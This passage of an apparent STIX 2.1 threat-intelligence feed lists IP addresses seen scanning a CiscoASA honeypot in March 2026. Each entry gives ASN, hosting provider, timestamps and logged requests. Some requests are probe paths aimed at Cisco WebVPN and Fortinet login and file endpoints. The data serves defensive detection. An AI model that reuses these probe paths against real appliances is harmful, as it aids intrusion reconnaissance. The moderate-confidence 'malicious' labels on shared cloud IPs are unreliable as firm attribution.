      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--ffa2558a-5fc1-49a5-82d9-dce38237a61f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '152.32.206.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T19:20:13.000Z",
      "valid_until": "2026-04-03T19:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 16,
          "first_seen": "2026-03-02T18:43:31.543Z",
          "last_seen": "2026-03-02T18:44:15.260Z",
          "country": "United States",
          "country_code": "US",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T19:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--2a7c4707-a0ef-454f-ba7e-3bc9e7cec03e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '18.116.101.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T19:20:13.000Z",
      "valid_until": "2026-04-03T19:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 8,
          "first_seen": "2026-03-02T19:09:10.012Z",
          "last_seen": "2026-03-22T18:04:26.145Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: PT; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--638e24b9-a18c-4a30-89a9-d4c3f1b77b35",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '109.105.210.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T21:20:13.000Z",
      "valid_until": "2026-04-03T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-02T20:40:06.079Z",
          "last_seen": "2026-03-02T20:40:09.079Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T22:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--019e465b-6221-4882-9bec-a08dd19313b9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.232.138.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T22:20:12.000Z",
      "valid_until": "2026-04-03T22:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-02T21:23:05.647Z",
          "last_seen": "2026-03-02T21:23:08.650Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T22:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--ed4be67b-5aa4-4190-a299-347b419740a1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T22:20:12.000Z",
      "valid_until": "2026-04-03T22:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-02T22:01:24.808Z",
          "last_seen": "2026-03-02T22:01:27.811Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T23:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204770 (UAB Cherry Servers)",
      "id": "indicator--cbffc5d6-7ad7-47a5-a460-1aed91d077f9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '84.32.48.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T23:20:12.000Z",
      "valid_until": "2026-04-03T23:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-02T22:26:32.398Z",
          "last_seen": "2026-03-02T22:26:32.398Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204770,
          "as_org": "UAB Cherry Servers",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-03T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--4d0ffc38-c6f1-4aa9-8db4-3ed3a31490de",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '34.227.163.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T01:20:13.000Z",
      "valid_until": "2026-04-04T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-03T00:36:34.821Z",
          "last_seen": "2026-03-03T00:36:37.825Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-03T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--8a00660e-fc19-4b81-85c2-22e33f9c2df2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '44.201.216.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T01:20:13.000Z",
      "valid_until": "2026-04-04T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-03T00:49:26.208Z",
          "last_seen": "2026-03-08T00:53:42.302Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-03T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--3c5519d7-dd65-4a67-8832-5addb58d59f8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '54.226.115.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T01:20:13.000Z",
      "valid_until": "2026-04-04T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-03T00:36:56.821Z",
          "last_seen": "2026-03-03T00:36:56.821Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-03T03:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14956 (RouterHosting LLC)",
      "id": "indicator--b46a7449-3310-4c87-a276-005fdcbd6021",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '172.86.127.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T03:20:13.000Z",
      "valid_until": "2026-04-04T03:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-03T03:14:08.057Z",
          "last_seen": "2026-03-03T03:14:08.057Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14956,
          "as_org": "RouterHosting LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-03T04:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--7cc1312f-3133-4b10-bfeb-94dc0ca7f673",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T04:20:13.000Z",
      "valid_until": "2026-04-04T04:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-03T03:50:34.555Z",
          "last_seen": "2026-03-03T03:50:37.558Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-03T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--91eb7e22-3f78-46b0-8882-1a6a0cb4f672",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '47.77.234.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T05:20:13.000Z",
      "valid_until": "2026-04-04T05:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-03T04:46:13.576Z",
          "last_seen": "2026-03-03T04:46:16.580Z",
          "country": "United States",
          "country_code": "US",
          "asn": 45102,
          "as_org": "Alibaba US Technology Co., Ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-03T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--e2279554-6d61-4a3a-a615-90ead5d02040",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T05:20:13.000Z",
      "valid_until": "2026-04-04T05:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 12,
          "first_seen": "2026-03-03T05:11:22.408Z",
          "last_seen": "2026-03-03T05:17:30.325Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-03T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--2df9296d-7f1f-4e35-948b-a0d90862b3d1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T05:20:13.000Z",
      "valid_until": "2026-04-04T05:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-03T05:13:50.967Z",
          "last_seen": "2026-03-03T05:15:53.567Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-03T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--e0e6067f-3dca-4acb-854f-b8b5a42c592a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T05:20:13.000Z",
      "valid_until": "2026-04-04T05:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-03T05:15:45.342Z",
          "last_seen": "2026-03-03T05:15:45.342Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-03T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--c2b25aac-b2b4-4fbf-930d-cd1725e2b6c2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T05:20:13.000Z",
      "valid_until": "2026-04-04T05:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-03T05:15:28.303Z",
          "last_seen": "2026-03-03T05:15:28.303Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-03T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--744d4afd-b1e1-44bc-b756-5105edb64d33",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T05:20:13.000Z",
      "valid_until": "2026-04-04T05:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-03T05:13:10.898Z",
          "last_seen": "2026-03-03T05:13:10.898Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-03T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--bc190fb7-e989-4aac-97d7-9196511e2703",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T05:20:13.000Z",
      "valid_until": "2026-04-04T05:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-03T05:15:33.981Z",
          "last_seen": "2026-03-03T05:15:42.056Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-03T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--6517d458-7505-426d-b098-5a27587a962b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T05:20:13.000Z",
      "valid_until": "2026-04-04T05:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-03T05:15:55.871Z",
          "last_seen": "2026-03-03T05:15:55.871Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-03T07:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CA; ASN 40028 (1651884 Ontario Inc.)",
      "id": "indicator--8eb6ca79-3d4a-4af4-8b4a-e2a31e2c4b1c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '208.68.93.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T07:20:02.000Z",
      "valid_until": "2026-04-04T07:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-03T06:32:50.787Z",
          "last_seen": "2026-03-10T05:51:54.262Z",
          "country": "Canada",
          "country_code": "CA",
          "asn": 40028,
          "as_org": "1651884 Ontario Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-04T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: US; ASN 396356 (Latitude.sh)",
      "id": "indicator--193d2722-3e33-400c-8dd1-f4d8010e7a2e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '2.57.168.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T01:20:13.000Z",
      "valid_until": "2026-04-05T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 8,
          "first_seen": "2026-03-04T00:52:33.911Z",
          "last_seen": "2026-03-04T02:05:58.731Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396356,
          "as_org": "Latitude.sh",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-04T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/common.js HTTP/1.1\" 404 - geo: HK; ASN 132203 (Tencent Building, Kejizhongyi Avenue)",
      "id": "indicator--ddc9d0a6-82aa-4a4f-b559-203bb2b3d35d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '43.132.207.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
